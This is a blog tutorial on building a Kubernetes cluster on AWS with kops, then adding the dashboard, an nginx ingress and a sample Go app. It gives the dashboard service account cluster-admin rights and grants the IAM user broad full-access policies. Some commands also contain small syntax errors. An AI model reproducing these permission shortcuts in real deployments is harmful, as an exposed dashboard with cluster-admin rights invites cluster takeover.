&lt;p&gt;&lt;a href="https://kops.sigs.k8s.io/getting_started/aws/" rel="noopener noreferrer"&gt;https://kops.sigs.k8s.io/getting_started/aws/&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Setup IAM user
&lt;/h3&gt;

&lt;p&gt;Create an IAM user with following permissions:&lt;/p&gt;

&lt;pre&gt;
AmazonEC2FullAccess
AmazonRoute53FullAccess
AmazonS3FullAccess
IAMFullAccess
AmazonVPCFullAccess
&lt;/pre&gt;

&lt;p&gt;Do it with command line&amp;gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;aws iam attach-group-policy --policy-arn arn:aws:iam::aws:policy/AmazonEC2FullAccess --group-name kops&lt;br&gt;
aws iam attach-group-policy --policy-arn arn:aws:iam::aws:policy/AmazonRoute53FullAccess --group-name kops&lt;br&gt;
aws iam attach-group-policy --policy-arn arn:aws:iam::aws:policy/AmazonS3FullAccess --group-name kops&lt;br&gt;
aws iam attach-group-policy --policy-arn arn:aws:iam::aws:policy/IAMFullAccess --group-name kops&lt;br&gt;
aws iam attach-group-policy --policy-arn arn:aws:iam::aws:policy/AmazonVPCFullAccess --group-name kops&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;aws iam create-user --user-name kops&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;aws iam add-user-to-group --user-name kops --group-name kops&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;aws iam create-access-key --user-name kops&lt;/code&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Buy a domain (If don't have already)
&lt;/h3&gt;

&lt;p&gt;I have buy (:p) &lt;a href="https://kubernetes.cf" rel="noopener noreferrer"&gt;https://kubernetes.cf&lt;/a&gt; for this tutorial&lt;/p&gt;

&lt;h3&gt;
  
  
  Create Hosted Zone in AWS
&lt;/h3&gt;

&lt;p&gt;Create hosted zone in AWS and update NS in DNS of domain provider&lt;/p&gt;

&lt;h3&gt;
  
  
  Test the DNS setup
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;dig ns dev.kubernetes.cf&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;should get something like &lt;br&gt;
;; ANSWER SECTION:&lt;br&gt;
dev.kubernetes.cf.        172800  IN  NS  ns-1.awsdns-1.net.&lt;br&gt;
dev.kubernetes.cf.        172800  IN  NS  ns-2.awsdns-2.org.&lt;br&gt;
dev.kubernetes.cf.        172800  IN  NS  ns-3.awsdns-3.com.&lt;br&gt;
dev.kubernetes.cf.        172800  IN  NS  ns-4.awsdns-4.co.uk.&lt;/p&gt;

&lt;h3&gt;
  
  
  Create cluster state storage on S3
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;aws s3api create-bucket \&lt;br&gt;
    --bucket dev-kubernetes-cf-state-store \&lt;br&gt;
    --region ap-south-1&lt;br&gt;
    --create-bucket-configuration LocationConstraint=&amp;lt;region&amp;gt;&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;aws s3api put-bucket-versioning --bucket dev-kubernetes-cf-state-store  --versioning-configuration Status=Enabled&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;aws s3api put-bucket-encryption --bucket dev-kubernetes-cf-state-store --server-side-encryption-configuration '{"Rules":[{"ApplyServerSideEncryptionByDefault":{"SSEAlgorithm":"AES256"}}]}'&lt;/code&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Creating the Cluster
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;export NAME=dev.kubernetes.cf&lt;br&gt;
export KOPS_STATE_STORE=s3://dev-kubernetes-cf-state-store&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;aws ec2 describe-availability-zones --region ap-south-1&lt;/code&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;create secret
generate local keys: &lt;code&gt;ssh-keygen&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;code&gt;kops create secret --name dev.kubernetes.cf sshpublickey admin -i ~/.ssh/id_rsa.pub&lt;/code&gt;&lt;/p&gt;

&lt;h4&gt;
  
  
  create SSL using AWS Certificate Manager
&lt;/h4&gt;

&lt;p&gt;&lt;code&gt;kops create cluster \&lt;br&gt;
    --zones ap-south-1a \&lt;br&gt;
    --state s3://dev-kubernetes-cf-state-store \&lt;br&gt;
    --api-ssl-certificate arn:aws:acm:[aws-cert-key-id} \&lt;br&gt;
    ${NAME}&lt;br&gt;
    &amp;lt;!-- --topology private \ --&amp;gt;&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Master and Worker nodes are configurable in termas of specification and count&lt;/p&gt;

&lt;p&gt;If you want to edit something&lt;br&gt;
&lt;code&gt;kops edit cluster ${NAME}&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Finally apply cluster configuration&lt;br&gt;
&lt;code&gt;kops update cluster ${NAME} --yes&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;kubectl get nodes&lt;/p&gt;

&lt;p&gt;use following command to validate cluster is up and running, it may take up to 10-15 minutes to complete setup&lt;br&gt;
&lt;code&gt;kops validate cluster&lt;/code&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Install Kubernetes Dashboard
&lt;/h2&gt;

&lt;h4&gt;
  
  
  Connect to master
&lt;/h4&gt;

&lt;p&gt;&lt;code&gt;ssh to the master: ssh -i ~/.ssh/id_rsa admin@api.dev.kubernetes.cf&lt;/code&gt;&lt;/p&gt;

&lt;h4&gt;
  
  
  Install Kube Dashboard
&lt;/h4&gt;

&lt;p&gt;&lt;code&gt;kubectl apply -f https://raw.githubusercontent.com/kubernetes/dashboard/v2.0.0-beta6/aio/deploy/recommended.yaml&lt;/code&gt;&lt;/p&gt;

&lt;h4&gt;
  
  
  Create the service account in the current namespace
&lt;/h4&gt;

&lt;p&gt;&lt;code&gt;kubectl create serviceaccount my-dashboard-sa&lt;/code&gt;&lt;/p&gt;

&lt;h4&gt;
  
  
  Give that service account root access on the cluster
&lt;/h4&gt;

&lt;p&gt;kubectl create clusterrolebinding my-dashboard-sa \&lt;br&gt;
  --clusterrole=cluster-admin \&lt;br&gt;
  --serviceaccount=default:my-dashboard-sa`&lt;/p&gt;

&lt;h4&gt;
  
  
  Find the secret that was created to hold the token for the SA
&lt;/h4&gt;

&lt;p&gt;&lt;code&gt;kubectl get secrets&lt;/code&gt;&lt;/p&gt;

&lt;h4&gt;
  
  
  Show the contents of the secret to extract the token
&lt;/h4&gt;

&lt;p&gt;&lt;code&gt;kubectl describe secret my-dashboard-sa-token-xxxxx&lt;/code&gt;&lt;/p&gt;

&lt;h4&gt;
  
  
  run &lt;code&gt;kubectl proxy&lt;/code&gt;
&lt;/h4&gt;

&lt;h2&gt;
  
  
  Install ngnix-controller with helm
&lt;/h2&gt;

&lt;p&gt;Install Helm - &lt;a href="https://helm.sh/docs/intro/install/" rel="noopener noreferrer"&gt;https://helm.sh/docs/intro/install/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;helm install nginx-cntroller nginx/nginx-ingress&lt;/code&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  apply SSL on Load Balancer
&lt;/h2&gt;

&lt;h2&gt;
  
  
  update load balancer endpoint url in Route53 as alias target
&lt;/h2&gt;

&lt;h2&gt;
  
  
  change loadbalancer instance port of 443 same as 80
&lt;/h2&gt;

&lt;h3&gt;
  
  
  create service i.e. goapp
&lt;/h3&gt;

&lt;p&gt;User followign docker image for quick reference: &lt;a href="https://hub.docker.com/r/abygawade/goapp" rel="noopener noreferrer"&gt;https://hub.docker.com/r/abygawade/goapp&lt;/a&gt; &lt;/p&gt;

&lt;h2&gt;
  
  
  create an ingress with following configuration
&lt;/h2&gt;

&lt;pre&gt;
apiVersion: networking.k8s.io/v1beta1
kind: Ingress
metadata:
  name: dev-ingress
spec:
  rules:
  - host: dev.kubernetes.cf
    http:
      paths:
      - path: /go
        backend:
          serviceName: goapp
          servicePort: 80
&lt;/pre&gt;

&lt;p&gt;Visit: &lt;a href="http://dev.kubernetes.cf/go" rel="noopener noreferrer"&gt;http://dev.kubernetes.cf/go&lt;/a&gt;&lt;br&gt;
       &lt;a href="https://dev.kubernetes.cf/go" rel="noopener noreferrer"&gt;https://dev.kubernetes.cf/go&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Replace &lt;em&gt;kubernetes.cf&lt;/em&gt; with your domain name&lt;/p&gt;

</description>
      <category>kubernetes</category>
      <category>kops</category>
      <category>aws</category>
    </item>
  </channel>
</rss>
